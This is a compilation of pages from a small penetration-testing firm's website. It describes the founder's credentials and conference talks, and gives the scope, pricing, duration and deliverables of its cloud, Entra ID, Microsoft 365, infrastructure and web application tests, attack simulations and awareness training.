Boutique single-operator pentest vs. large firm vs. PTaaS lays out the trade-offs. You can find my full CV on my LinkedIn (opens in a new tab) page, and my verified credentials on Credly (opens in a new tab). Certifications (opens in a new tab) (opens in a new tab) (opens in a new tab) (opens in a new tab) OSCP: Offensive Security Certified Professional (each badge above links to its public Credly record) CISSP: Certified Information Systems Security Professional GCFA: GIAC Certified Forensic Analyst GWAPT: GIAC Web Application Penetration Tester Talks at conferences I have presented original Windows and Active Directory security research at international conferences, including Troopers (Heidelberg), Hacktivity (Budapest), and IT-SECX (St. Pölten). That speaking experience feeds directly back into clear, accurate reporting and debriefs. Troopers 2023: The Power of Coercion Techniques in Windows Environments The original talk at Troopers 2023 (opens in a new tab), one of Europe’s most respected enterprise security conferences. IT-SECX 2021: Utilman is back (German) Hacktivity 2023: The Power of Coercion Techniques in Windows Environments Another (later) version of the talk I did at Troopers. It is a little bit shorter, but being the third time I’ve done the talk, it might be better. I will let you decide. Teaching I also teach a hands-on Udemy course, Windows 11 Client Hacking (opens in a new tab), which walks through attacking and hardening modern Windows clients. The same offensive techniques inform how I test client environments during engagements. The name VidraSec “Sec” stands for security. “Vidra” is the Slavic word for otter 🦦 (opens in a new tab), chosen because it sounds nice and was still available. The otter connection to security: in medieval Austria, the Catholic Church banned meat during fasting but allowed fish. People classified otters as fish to get around the restriction, making otters part of one of history’s earliest documented life hacks. Unfortunately, this wasn’t great for the otters (or their beaver 🦫 friends), but they are protected now. --- ## Cloud Infrastructure Security Audit URL: https://www.vidrasec.com/services/cloud-infrastructure-audit/ Description: Cloud security audit for Azure, AWS and GCP: read-only review of IAM, access control and misconfigurations. From 7,000 euros. A Cloud Infrastructure Audit is a read-only, white-box review of your Azure, AWS, or GCP environment that finds misconfigurations, over-privileged IAM roles, and exposed services before attackers do. Cloud services offer enormous flexibility, but that flexibility comes with risk. Misconfigured storage buckets, overly permissive IAM roles, and exposed management interfaces are among the most common causes of cloud security incidents. A Cloud Infrastructure Audit reviews your cloud environment with a read-only account to identify exactly these issues before attackers do. Supported platforms: Azure, AWS, and GCP. For Azure environments, cloud IAM misconfigurations are frequently intertwined with Entra ID role assignments and Conditional Access; both are often reviewed together. Scope This audit is performed as a white-box engagement using a read-only account and standard tooling (ScoutSuite, manual review). The following areas are covered: Identity and Access Management: role assignments, over-privileged accounts, service principals, least-privilege review Storage and data exposure: public buckets/blobs, access policies, sensitive data exposure Virtual Network Configuration: security groups, network ACLs, firewall rules, exposure of management ports Logging and Monitoring: audit log configuration, alerting, detection coverage Security Settings: Defender/Security Hub/Security Command Center configuration, encryption at rest and in transit Service-specific hardening: configuration of the cloud services actively used in your environment Why Cloud environments are a frequent source of breaches, often because default configurations are not hardened IAM mistakes (e.g. overly broad roles, unused service accounts with high permissions) are the most common cloud security gap A read-only configuration review can surface critical exposures in hours that might otherwise go unnoticed for months Typical findings include a CI/CD service principal with Contributor or Owner rights far beyond what its pipeline needs, storage accounts or buckets left publicly readable after a one-off data export, and stale guest accounts retaining access long after a project ends. None of these require exploiting a vulnerability. They are configuration mistakes visible to anyone who knows where to look, which is exactly why a read-only review finds them so quickly. Why VidraSec 🦦 I have conducted Cloud Infrastructure Audits across Azure, AWS, and GCP environments. My background in identity and access management, particularly in the Microsoft stack, extends naturally into cloud IAM, where many of the same misconfigurations appear. Typical Duration 3 to 5 days (scope-dependent, depends on the number and complexity of cloud services in use). Reporting takes roughly 30 to 50% of the test time on top. Typical Price from 7,000 € The final price depends on the scope and is calculated from the planned effort, which the offer itemizes transparently (person-days times daily rate). The offer total is the final price: if the actual effort ends up a little over or under the estimate, the price stays the same. Deliverables Every engagement includes: Written findings report with all misconfigurations, prioritized by severity, with remediation steps Management summary tailored to your audience (technical or executive) Live debriefing to walk through findings and answer questions Retesting after remediation available on request See example reports for what a VidraSec report looks like. Compliance Directly relevant for NIS2 and ISO 27001. Cloud configuration is increasingly scrutinized in information security management reviews. Frequently asked questions Which cloud platforms does VidraSec audit? Azure, AWS, and GCP. The audit uses a read-only account and a combination of automated tooling such as ScoutSuite and manual expert review. Is a Cloud Infrastructure Audit the same as a cloud penetration test? Not quite. A configuration audit reviews your environment from a read-only account to find misconfigurations efficiently. A cloud penetration test actively attempts to exploit issues. For most organizations the configuration audit surfaces the highest-impact problems fastest. How long does a Cloud Infrastructure Audit take? Typically 3 to 5 days depending on the number and complexity of cloud services in use, plus roughly 30 to 50 percent of that time for reporting. How much does a Cloud Infrastructure Audit cost? From 7,000 euros. The final price depends on scope and the maturity level of your environment and is calculated individually. More questions on pricing, lead times, NDAs, or compliance: see the general FAQ Related Services Entra ID Audit Microsoft 365 Audit --- ## Cyber Attack Simulation URL: https://www.vidrasec.com/services/cyber-attack-simulation/ Description: Cyber attack simulation: recreate real attack paths to test whether your team and tools detect and respond. Red teaming and phishing. From 5,600 euros. A Cyber Attack Simulation recreates realistic, end-to-end attack scenarios to test whether your people, processes, and security tools actually detect and respond to an attacker who is already inside. Also called an attacker simulation or adversary simulation. Realistic attack scenarios and typical attack paths are recreated to validate how well your organization can detect and respond to real-world attacks. A penetration test finds vulnerabilities in systems. A cyber attack simulation tests whether your people, processes, and tools actually catch an attacker who is already inside. Red Team vs Purple Team Two approaches are available: Red Team (blue team unaware): The security or IT team does not know a simulation is running. This gives the most realistic picture of your detection and response capabilities. Purple Team (cooperative): The security team works alongside the attacker. This is more educational, great for training, building detection rules, and rapidly improving defenses. Which approach fits your situation is discussed in the kick-off meeting. Typical Scenarios Specific scenarios are agreed in the kick-off. Common examples include: Phishing simulation, targeted or mass phishing campaign to test staff recognition and reporting processes Social engineering, phone-based or in-person pretexting Malware infection, simulated malware deployed on an endpoint, testing EDR response and alert handling Ransomware attack simulation, recreating the early stages of a ransomware attack (initial access, spreading, access to backups), without encrypting any real data of course Business Email Compromise (BEC), impersonation of executives or suppliers Credential theft and reuse, testing whether stolen credentials trigger alerts Living-off-the-land techniques, using built-in system tools to avoid detection Lateral movement, testing whether an attacker can move from one compromised system to others Deliverables Unlike a standard pentest, the output of a Cyber Attack Simulation focuses on process insights alongside technical findings: What allowed the attack to succeed (or what stopped it)? Are alerts being monitored? How quickly did the team respond? Did anyone report the phishing email, or did someone submit the malware to VirusTotal, tipping off the attacker? Which detection gaps need to be addressed? Every engagement includes a written report, management summary, and live debriefing. See example reports for what a VidraSec report looks like. Typical Duration 3 days (phishing-only exercise) to 3+ weeks (full multi-vector simulation). Scope-dependent. Typical Price from 5,600 € (for a phishing simulation) This type of project must be very precisely tailored to your needs. The final price depends on the scope and required effort and is calculated individually. Compliance Relevant for NIS2 Article 21, organizations are required to have incident detection and response capabilities. A cyber attack simulation directly tests whether those capabilities work. Frequently asked questions What is an attacker simulation? An attacker simulation (also called an adversary simulation or cyber attack simulation) recreates the actions of a real attacker, such as phishing, social engineering, or credential theft, to test whether your team, processes, and security tools detect and stop an attack. What is the difference between a penetration test and a cyber attack simulation? A penetration test finds vulnerabilities in systems. A cyber attack simulation tests whether your team and tooling catch an attacker who is already inside, including alerting, monitoring, and incident response. The two answer different questions and complement each other. What is the difference between a red team and a purple team engagement? In a red team engagement the defenders do not know a simulation is running, which gives the most realistic measure of detection and response. In a purple team engagement the security team works alongside the attacker, which is more educational and ideal for building detection rules quickly. How long does a cyber attack simulation take? From around 3 days for a phishing-only exercise to 3 weeks or more for a full multi-vector simulation, depending on the agreed scope. How much does a cyber attack simulation cost? From 5,600 euros for a phishing simulation. Larger multi-vector engagements are scoped and priced individually because they must be tailored precisely to your environment. More questions on pricing, lead times, NDAs, or compliance: see the general FAQ Related Services Internal IT Infrastructure Penetration Test Security Awareness Training --- ## Entra ID Security Audit URL: https://www.vidrasec.com/services/entraid-audit/ Description: Entra ID (formerly Azure AD) is Microsoft's cloud identity platform. VidraSec audits Conditional Access, MFA and privileged roles. From 7,000 euros. An Entra ID Audit (formerly Azure AD) is a white-box review of your Microsoft Entra ID tenant that uncovers identity and access misconfigurations, weak Conditional Access policies, and privilege escalation paths. EntraID (Microsoft Entra ID) is Microsoft’s central identity and access management (IAM) solution, especially in Microsoft 365 environments, and forms the basis for single sign-on (SSO) and access control. A misconfiguration can lead to unauthorized access to company resources or facilitate social engineering attacks. Therefore, this component must be thoroughly tested. Scope This type of test is typically performed as white-box, meaning that the testers receive full access to the tested system and its documentation. This allows a comprehensive analysis of vulnerabilities and misconfigurations in a short time frame. These are the main focus points of the test: Audit of the implementation status of the tier model and possible vulnerabilities Review of all accounts and their password age Review of the permissions of users, computers, and groups Review of group memberships of highly privileged groups Interview with administrators on how they typically administer the system Conditional access policies Verification against best practices The link to the on-premises Active Directory Typical Duration 3-5 days (scope-dependent). Reporting takes roughly 30-50% of the test time on top. Typical Price from 7,000 € The final price depends on the scope and is calculated from the planned effort, which the offer itemizes transparently (person-days times daily rate). The offer total is the final price: if the actual effort ends up a little over or under the estimate, the price stays the same. Deliverables Every engagement includes: Written findings report with all misconfigurations, prioritized by severity, with remediation steps Management summary tailored to your audience (technical or executive) Live debriefing to walk through findings and answer questions Retesting after remediation available on request See example reports for what a VidraSec report looks like. Compliance Directly relevant for NIS2, ISO 27001, and TISAX. Identity and access management is a core control domain in all major security frameworks. Frequently asked questions What is Entra ID? Entra ID (formerly Azure AD) is Microsoft’s cloud-based identity and access management system. It underpins single sign-on and access control in Microsoft 365 and is separate from Microsoft’s on-premises Active Directory. An Entra ID Security Audit reviews this cloud identity environment for misconfigurations and privilege escalation paths. What is the difference between Entra ID and Active Directory? Active Directory is Microsoft’s on-premises identity system; Entra ID (formerly Azure AD) is the cloud identity platform behind Microsoft 365 and single sign-on. They are separate systems and are covered by separate audits, though VidraSec also reviews how the two are connected. Does the Entra ID Audit cover Conditional Access and MFA? Yes. Conditional Access policies, MFA enforcement, and common MFA bypass and social engineering risks are a core focus of the audit, alongside privileged role assignments and app registration permissions. How long does an Entra ID Audit take? Typically 3 to 5 days depending on tenant complexity, plus roughly 30 to 50 percent of that time for reporting. How much does an Entra ID Audit cost? From 7,000 euros. The final price depends on scope and the maturity level of your environment and is calculated individually. More questions on pricing, lead times, NDAs, or compliance: see the general FAQ Related Services Microsoft 365 Audit Active Directory Audit Cloud Infrastructure Audit --- ## Example Reports URL: https://www.vidrasec.com/example-reports/ Description: Download real VidraSec sample reports: penetration test reports for internal infrastructure and web applications as PDF, in English and German. The report is the product. After days of testing, what you hold in your hands is the report, so you should know exactly what you are buying before you sign anything. The sample reports below have the same structure, depth, and writing style as a real VidraSec deliverable, just with fictitious findings and company names. Every report contains: An executive summary written for management: what the overall risk picture looks like, in plain language without jargon. A detailed technical section per finding with description, evidence, risk rating, and reproduction steps, so your team can verify and fix each issue. Actionable remediation recommendations, prioritized by severity. All findings are verified manually. You will not find raw vulnerability scanner output padded into the page count. Reports are available in English or German, whichever your team prefers. English Penetration Test of the Internal IT Infrastructure (opens in a new tab) Penetration Test of a Web Application (opens in a new tab) German Penetrationstest der internen IT-Infrastruktur (opens in a new tab) Penetrationstest einer Webapplikation (opens in a new tab) Questions about what a report would look like for your environment? Get in touch. --- ## External IT Infrastructure Penetration Test URL: https://www.vidrasec.com/services/external-it-infrastructure-penetration-test/ Description: External IT infrastructure penetration test: find vulnerabilities in your internet-facing systems before attackers do. From 4,200 euros. An External IT Infrastructure Penetration Test assesses your internet-facing systems (servers, VPNs, mail, remote access) for exploitable vulnerabilities and exposure that an attacker could use to gain a foothold. If your system is exposed to the internet, it could potentially be hacked by anyone. Okay, I exaggerate a bit, but I think you understand. Vulnerabilities in your external infrastructure can lead to very bad press and threaten your customers’ personal information. Regular external infrastructure penetration testing keeps that attack surface in check. Looking for the internal test instead? This one covers your internet-facing systems. To test what an attacker could do after already getting a foothold inside your network, see the Internal IT Infrastructure Penetration Test. Scope This test can focus on a range of externally accessible IPs. Another approach is to collect information about your external attack surface, meaning what information can an attacker find out about your company and which services are exposed (that you might not even know about). These are the main focus points of the test: Detection of vulnerabilities in your external infrastructure. VPN gateways, mail servers, RDP/Citrix gateways, and other remote access solutions are common entry points Identification of outdated software and used libraries, including known CVEs in internet-facing appliances Check for missing hardening measures that can protect you in case there is a vulnerability Publicly exposed sensitive information, e.g. in cloud storage, code repositories, or misconfigured file shares Insecure configuration of services Internet-facing appliances are a recurring source of critical findings industry wide. See Exploiting a CheckPoint VPN Gateway with One Simple Command for a concrete example of the kind of vulnerability class this test is designed to catch. As an optional add-on, this test can be combined with OSINT (Open Source Intelligence): researching what an attacker could learn about your company, infrastructure, and employees from public sources (leaked credentials, exposed subdomains, metadata, code repositories) before ever sending a packet. This is not part of the standard scope and is agreed separately during scoping. Why Do you even know all the services that are exposed to the internet? Are you sure you are not unintentionally leaking sensitive data? Did you apply all the additional security measures that can prevent attacks? Are all your services configured according to best practices? Why VidraSec 🦦 I have worked in penetration testing and red teaming since 2017. In this time, I have seen many different systems and found a lot of vulnerabilities. Fun fact: in all this time, there have been worse and better systems, but there has never been a system without any vulnerabilities. Let’s improve your security together! Typical Duration 2+ days of testing (heavily scope-dependent, depends on the number of IPs and services in scope). Reporting takes roughly 30 to 50% of the test time on top. Typical Price from 4,200 € The final price depends on the scope and is calculated from the planned effort, which the offer itemizes transparently (person-days times daily rate). The offer total is the final price: if the actual effort ends up a little over or under the estimate, the price stays the same. Deliverables Every engagement includes: Written findings report with all vulnerabilities, prioritized by severity, with remediation steps Management summary tailored to your audience (technical or executive) Live debriefing to walk through findings and answer questions Retesting after remediation available on request See example reports for what a VidraSec report looks like. Compliance Directly relevant for NIS2 (Article 21), ISO 27001, and GDPR: exposure of internet-facing services can directly risk customer personal data. Frequently asked questions What is the difference between an external and an internal penetration test? An external penetration test attacks your perimeter from the internet, the way an outside attacker would. An internal penetration test simulates an attacker who already has a foothold inside the network. Many organizations combine both to cover the full attack chain. Will the test affect our live systems? Testing is conducted carefully to avoid disruption. Potentially intrusive checks are coordinated with you in advance, and a contact is kept available during testing so anything unexpected can be paused immediately. How long does an external penetration test take? From around 2 days, heavily dependent on the number of IPs and services in scope, plus roughly 30 to 50 percent of that time for reporting. How much does an external penetration test cost? From 4,200 euros. The final price depends on the number of systems in scope and is calculated individually based on the required effort. More questions on pricing, lead times, NDAs, or compliance: see the general FAQ Related Services Internal IT Infrastructure Penetration Test Cyber Attack Simulation --- ## Microsoft 365 Audit URL: https://www.vidrasec.com/services/microsoft-365-audit/ Description: Microsoft 365 Audit: Review Exchange Online, Teams, SharePoint and Defender for Office 365. Find misconfigurations and access control gaps. VidraSec. A Microsoft 365 Audit is a read-only, white-box review of your M365 tenant (Exchange Online, Teams, SharePoint, Defender, and admin roles) that finds misconfigurations enabling phishing, data theft, or account takeover. Microsoft 365 is the productivity backbone of most modern organizations: Exchange Online handles email, Teams drives collaboration, SharePoint stores documents, and Entra ID manages identities. A misconfiguration in any of these components can expose sensitive data, enable phishing attacks, or allow unauthorized access to company resources. This audit reviews the security configuration of your Microsoft 365 tenant using a read-only account. It is typically performed as a white-box engagement and scoped in a kick-off call. It is a natural complement to an Entra ID Audit, which focuses specifically on identity and access management. Scope The following areas are reviewed as part of a Microsoft 365 Audit: Exchange Online: anti-phishing policies, SPF/DKIM/DMARC configuration, mail transport rules, connector security, external email warnings Teams and SharePoint: external sharing settings, guest access policies, document permission review Microsoft Defender for Office 365: policy configuration, Safe Links, Safe Attachments, threat protection settings Admin roles and MFA: review of global admins and privileged roles, MFA enforcement for admin accounts Microsoft Secure Score: review of current score and highest-impact recommendations Conditional Access: review of policies protecting M365 applications Why Microsoft 365 environments are a prime target for attackers: phishing, business email compromise (BEC), and data theft typically exploit misconfigurations rather than software vulnerabilities Default Microsoft 365 settings are not hardened; many organizations run significant gaps without knowing it A compromised M365 tenant can expose all company email, files, and credentials Why VidraSec 🦦 My focus on Windows, Active Directory, and the Microsoft identity stack extends naturally into Microsoft 365. The Entra ID and M365 layers are tightly integrated; understanding one requires understanding the other. This audit is often combined with an Entra ID Audit for a complete picture of the Microsoft identity and productivity environment. Typical Duration 3-5 days (reporting included; scope-dependent) Typical Price from 7,000 € The final price depends on the scope and is calculated from the planned effort, which the offer itemizes transparently (person-days times daily rate). The offer total is the final price: if the actual effort ends up a little over or under the estimate, the price stays the same. Deliverables Every engagement includes: Written findings report with all identified misconfigurations, prioritized by risk Management summary tailored to your audience (technical or executive) Live debriefing to walk through findings and answer questions Retesting after remediation available on request See example reports to get a sense of what a VidraSec report looks like. Compliance Relevant for organizations working towards NIS2, ISO 27001, or TISAX compliance. Microsoft 365 security configuration is increasingly audited as part of information security management reviews. Frequently asked questions What is the difference between a Microsoft 365 Audit and an Entra ID Audit? A Microsoft 365 Audit reviews the productivity services such as Exchange Online, Teams, SharePoint, and Defender. An Entra ID Audit focuses specifically on identity and access management. The two layers are tightly integrated and are often audited together for a complete picture. Does the audit require access to our tenant? Yes, a read-only account is sufficient. The audit is performed white-box, which lets VidraSec review configuration and security settings efficiently without making changes to your tenant. How long does a Microsoft 365 Audit take? Typically 3 to 5 days including reporting, depending on tenant size and the services in use. How much does a Microsoft 365 Audit cost? From 7,000 euros. The final price depends on scope and the maturity level of your environment and is calculated individually. More questions on pricing, lead times, NDAs, or compliance: see the general FAQ Related Services Entra ID Audit Internal IT Infrastructure Penetration Test Cloud Infrastructure Audit --- ## Penetration Testing Services & Pricing URL: https://www.vidrasec.com/overview-penetration-test/ Description: What is a penetration test? Process, benefits and commercial details. VidraSec explains pentests, internal/external IT, web, AD, cloud. What is a penetration test? How secure are your IT systems really? A penetration test shows where attackers would start - before it’s too late. A penetration test (“pentest” for short) is a security analysis of one or more IT systems. An IT security expert (“pentester”) attempts to uncover as many vulnerabilities as possible in the time available. The tools and procedures used are the same as those used by real attackers. The result of a penetration test is a detailed report with the vulnerabilities found, sorted by severity, and recommended measures to eliminate them. Why penetration testing? Every system has unknown vulnerabilities. Without testing, they remain undiscovered until an attacker exploits them. Penetration tests find these vulnerabilities so they can be fixed before attackers exploit them. Penetration test procedure Commercial details Penetration tests are always customized to the tested systems and requirements - there is no standard price. Implementation in a time box: How many vulnerabilities can be found in the time available? Typical price: from €4,200, most projects between €6,000 and €15,000 Specific services Every IT system is different. A penetration test of the internal IT infrastructure, for example, requires a completely different approach and tools than a penetration test of a web application. Active Directory Security Audit An Active Directory Audit is a white-box security assessment of your on-premises Active Directory that identifies misconfigurations, dangerous permissions, and attack paths leading to domain takeover, before an attacker or ransomware can exploit them. The ransomware attacks with the biggest impact run through Active Directory: whoever takes over the domain controls every system and every file in the company. A single forgotten permission or an old misconfiguration is often all it takes. These are exactly the vulnerabilities this audit uncovers, before an attacker finds them. Internal IT Infrastructure Penetration Test An Internal IT Infrastructure Penetration Test simulates an attacker who already has a foothold inside your network (for example after a phishing click) and tests whether they can move laterally and reach Domain Admin. Someone on your team clicks the wrong email attachment, and an attacker is inside your network. What happens next depends on what they find there: does the attack stop at one machine, or do they move laterally and take over every system you run? This test answers that question before a real attacker does. Cloud Infrastructure Security Audit A Cloud Infrastructure Audit is a read-only, white-box review of your Azure, AWS, or GCP environment that finds misconfigurations, over-privileged IAM roles, and exposed services before attackers do. Cloud services offer enormous flexibility, but that flexibility comes with risk. Misconfigured storage buckets, overly permissive IAM roles, and exposed management interfaces are among the most common causes of cloud security incidents. A Cloud Infrastructure Audit reviews your cloud environment with a read-only account to identify exactly these issues before attackers do. Supported platforms: Azure, AWS, and GCP. For Azure environments, cloud IAM misconfigurations are frequently intertwined with Entra ID role assignments and Conditional Access; both are often reviewed together. Entra ID Security Audit An Entra ID Audit (formerly Azure AD) is a white-box review of your Microsoft Entra ID tenant that uncovers identity and access misconfigurations, weak Conditional Access policies, and privilege escalation paths. EntraID (Microsoft Entra ID) is Microsoft’s central identity and access management (IAM) solution, especially in Microsoft 365 environments, and forms the basis for single sign-on (SSO) and access control. A misconfiguration can lead to unauthorized access to company resources or facilitate social engineering attacks. Therefore, this component must be thoroughly tested. External IT Infrastructure Penetration Test An External IT Infrastructure Penetration Test assesses your internet-facing systems (servers, VPNs, mail, remote access) for exploitable vulnerabilities and exposure that an attacker could use to gain a foothold. If your system is exposed to the internet, it could potentially be hacked by anyone. Okay, I exaggerate a bit, but I think you understand. Vulnerabilities in your external infrastructure can lead to very bad press and threaten your customers’ personal information. Regular external infrastructure penetration testing keeps that attack surface in check. Web Application Penetration Test A Web Application Penetration Test is a manual security assessment of a web application and its APIs, focused on the OWASP Top 10: broken access control, injection, authentication flaws, and business logic vulnerabilities. Your web application is reachable from the internet around the clock, for your customers and for attackers alike. A single access control flaw is often enough to expose other users’ data or take over the server. Those are exactly the flaws I find, before someone exploits them. Typical project compositions Projects are always scoped to your specific situation, but these are common starting points: Internal security review An internal IT infrastructure pentest (includes Active Directory testing from an attacker’s perspective) is the core. For a deeper, white-box analysis of AD configuration, an Active Directory Audit is added on top. Identity-focused (Microsoft stack) An Entra ID Audit combined with a Microsoft 365 Audit covers the full Microsoft identity and productivity environment, the most common combination for organizations running on Microsoft 365. External exposure check An External IT Infrastructure Penetration Test assesses what’s visible from the internet. Often paired with an internal pentest for a complete picture of the attack surface. Application security A Web Application Penetration Test focuses on a specific web application or API. This is standalone, a separate engagement from infrastructure testing. Detection and response validation A Cyber Attack Simulation tests whether your team and tools actually catch an attacker. Typically run after establishing a security baseline through pentests and audits. Don’t see exactly what you need? All projects are custom-scoped anyway, just get in touch. New to pentesting or not sure how to scope? The Penetration Testing Buyer’s Guide covers what a pentest actually is, how to choose the right methodology, and how to avoid the most common mistakes. --- ## Security Awareness Training URL: https://www.vidrasec.com/services/security-awareness-training/ Description: Security Awareness Training: Cyber attacks often start with human error. Train staff, phishing, social engineering, passwords. VidraSec. Security Awareness Training teaches your staff to recognize and resist the attacks that cause most breaches: phishing, social engineering, and weak passwords, delivered by a pentester who actually runs these attacks. Most cyber attacks begin with a human error. Someone has set a weak password or opened the wrong email attachment. Therefore, it is essential that all employees are trained on how to behave correctly. The exact scope and duration of this training can be individually determined. Typical training contents include: Introduction to the threat situation Phishing and Social Engineering Internet fraud Password security Outdated recommendations Social Media Security The training can be conducted remotely or on-site. Why VidraSec 🦦 Most security awareness training is delivered by someone who read about the attacks, not someone who has actually run them. I’ve conducted phishing campaigns against companies, bypassed MFA, stolen credentials, and moved through internal networks undetected. That direct attack experience shapes how the training is delivered: the examples are real, the techniques are current, and the explanations land differently when they come from someone who has actually done this. For non-technical audiences, a live cyber attack demonstration is available as part of or alongside the training. Watching a real attack unfold is more persuasive than any slide deck: seeing how a phishing email bypasses filters, how credentials are stolen, how one compromised account escalates to full network access. I’ve presented at international security conferences including Troopers, IT-SECX, and Hacktivity, and that speaking experience translates directly into engaging sessions for your team or event. See Trainings & Presentations for details on the live demo format. Format Sessions should not exceed 1 hour per session; shorter, focused blocks work better than long lectures. For groups larger than 15-20 people, splitting into smaller sessions is recommended to keep engagement high. Typical Price 200 € per hour of training The final price depends on the desired content, as the training may have to be adapted to your specific environment and industry. Deliverables Every engagement includes a tailored training session and post-training Q&A. No written pentest report, the deliverable is knowledge transferred to your team. Compliance Directly relevant for NIS2 (Article 21, organizations must ensure staff receive regular security training) and ISO 27001 (Annex A control A.6.3, information security awareness, education and training). Frequently asked questions What topics does the training cover? Typical content includes the current threat landscape, phishing and social engineering, internet fraud, password security, outdated recommendations to unlearn, and social media security. The exact scope is tailored to your industry and audience. Can the training be delivered remotely? Yes. The training can be conducted remotely or on-site. For non-technical audiences a live cyber attack demonstration is also available, where a real attack is shown unfolding step by step. How much does Security Awareness Training cost? 200 euros per hour of training. The final price depends on the desired content, since the material may need to be adapted to your specific environment and industry. More questions on pricing, lead times, NDAs, or compliance: see the general FAQ Related Services Cyber Attack Simulation Trainings & Presentations --- ## Trainings and Presentations URL: https://www.vidrasec.com/trainings-presentations/ Description: Security trainings, presentations and cyber attack demos by VidraSec: phishing, social engineering, live hacking. Tailored for your team or event. People are the first line of defense against cyber attacks, and also the most common entry point for attackers. VidraSec offers two formats to address this: a structured Security Awareness Training for your employees, and tailored presentations and live demos for management events, company all-hands, or public appearances. Security Awareness Training A structured training course for employees covering the most important security topics. Sessions are kept short (up to 1 hour) and focused, with smaller groups to encourage engagement. Content is tailored to your organization. Typical topics: phishing and social engineering, password security, malware and ransomware, safe behavior online and on company devices. More details and pricing → Presentations and Live Cyber Attack Demos A presentation or live demonstration of a cyber attack is one of the most effective ways to make security risks tangible for a non-technical audience, management, board members, or event attendees. Seeing a real attack unfold is more persuasive than any slide deck. VidraSec has presented at international security conferences including Troopers, IT-SECX, and Hacktivity. This experience translates directly into engaging presentations that are technically accurate but accessible to any audience. Available formats: Security presentation, tailored talk on a specific threat area or the current threat landscape, adapted to your audience Live cyber attack demonstration, a controlled, live demonstration of how an attack works (e.g. phishing, credential theft, lateral movement), designed to create awareness and urgency without requiring technical knowledge These engagements are typically 30-60 minutes and can be run on-site or remotely. They are available as standalone bookings or as part of a broader security awareness initiative. Pricing Approx. 200 € per hour (excl. company-specific customization) The exact price depends on the scope, content, and any required preparation or travel. Security Awareness Training Security Awareness Training teaches your staff to recognize and resist the attacks that cause most breaches: phishing, social engineering, and weak passwords, delivered by a pentester who actually runs these attacks. Most cyber attacks begin with a human error. Someone has set a weak password or opened the wrong email attachment. Therefore, it is essential that all employees are trained on how to behave correctly. --- ## Web Application Penetration Test URL: https://www.vidrasec.com/services/web-application-penetration-test/ Description: Web application penetration test: mainly manual testing for access control, injection and XSS, with API and OWASP coverage. From 7,000 euros. A Web Application Penetration Test is a manual security assessment of a web application and its APIs, focused on the OWASP Top 10: broken access control, injection, authentication flaws, and business logic vulnerabilities. Your web application is reachable from the internet around the clock, for your customers and for attackers alike. A single access control flaw is often enough to expose other users’ data or take over the server. Those are exactly the flaws I find, before someone exploits them. Scope Web applications are tested against the most critical vulnerability classes, with a focus on the OWASP Top 10. This includes: Access control testing: broken access control, privilege escalation, IDOR (accessing other users’ data by changing an ID in a request) Authentication and session flaws: weak password reset flows, session fixation, JWT misconfiguration Injection attacks: SQL injection, command injection, SSTI Server-side request forgery (SSRF) and insecure deserialization Business logic vulnerabilities: flaws in the application’s workflow that automated scanners cannot detect, such as skipping a payment or approval step Misconfigurations: security headers, TLS settings, error disclosure Review of third-party components: outdated libraries, known CVEs Implementation of Defense-in-Depth measures Android mobile app testing is also available on request. The specific test procedure and tested components will be discussed in a Scoping meeting. Why Automated scanners catch the obvious issues; access control and business logic flaws (the ones that actually lead to data breaches) require a human tester A single IDOR or broken access control bug can expose your entire customer database Web applications change constantly. A test is a snapshot of security at a point in time, and regular testing catches regressions introduced by new features Why VidraSec 🦦 Martin Grottenthaler, Founder and Lead Penetration Tester. OSCP, CISSP, GCFA, GWAPT. Pentesting since 2017. More about me In most web application tests I find at least one access control flaw that exposes other users’ data, exactly the kind of vulnerability automated scanners cannot detect. Manual testing means I actually understand the application’s logic instead of relying on scanner signatures. And for this type of testing I hold a dedicated certification: the GWAPT (GIAC Web Application Penetration Tester). Typical Duration 3 to 5 days of testing (depends on the size and complexity of the application). Reporting takes roughly 30 to 50% of the test time on top. Typical Price from 7,000 € The final price depends on the scope and is calculated from the planned effort, which the offer itemizes transparently (person-days times daily rate). The offer total is the final price: if the actual effort ends up a little over or under the estimate, the price stays the same. Not sure whether this fits your environment? In a free 30-minute call you get an honest assessment. Schedule a free initial call Deliverables Every engagement includes: Written findings report with all vulnerabilities, prioritized by severity, with remediation steps Management summary tailored to your audience (technical or executive) Live debriefing to walk through findings and answer questions Retesting after remediation available on request See example reports for what a VidraSec report looks like. Compliance Relevant for GDPR (protection of customer data processed by the application), NIS2 (Article 21 covers the security of all network and information systems, including web applications), and ISO 27001. For financial-sector companies, DORA additionally requires regular security testing of critical applications. Frequently asked questions Is the test manual or automated? It is primarily manual. Automated scanning supports the work, but the depth, and especially access control and business logic vulnerabilities, comes from manual testing by an experienced tester. Reports do not include automated scanner noise. Do you test APIs and mobile apps as well? Yes. REST and GraphQL APIs are in scope, and Android mobile app testing is available on request. The exact components are agreed in the scoping meeting. Does the test require credentials or source code? Most engagements are greybox, using valid user accounts to reach the parts of the application where the interesting vulnerabilities live. Source code is not required, though it can be included for a deeper review. How long does a web application penetration test take? Typically 3 to 5 days of testing, depending on the size and complexity of the application, plus roughly 30 to 50 percent of that time for reporting. How much does a web application penetration test cost? From 7,000 euros. The final price depends on the size and complexity of the application and is calculated individually based on the required effort. How does the fixed price work? The offer itemizes the planned effort transparently (person-days times daily rate), so you see exactly how the price is calculated. The offer total is the final price: if the actual effort ends up a little over or under the estimate, the price stays the same, and you always receive the full agreed deliverables. More questions on pricing, lead times, NDAs, or compliance: see the general FAQ Related Services External IT Infrastructure Penetration Test --- ## Windows Client Hacking URL: https://www.vidrasec.com/windows-client-hacking/ Description: This course teaches you about the typical vulnerabilities in Windows, how they work and how to exploit them. https://www.udemy.com/course/windows-client-hacking/?referralCode=766B0B36F91BC7BC30C3 (opens in a new tab) If you're not redirected automatically, click here. ---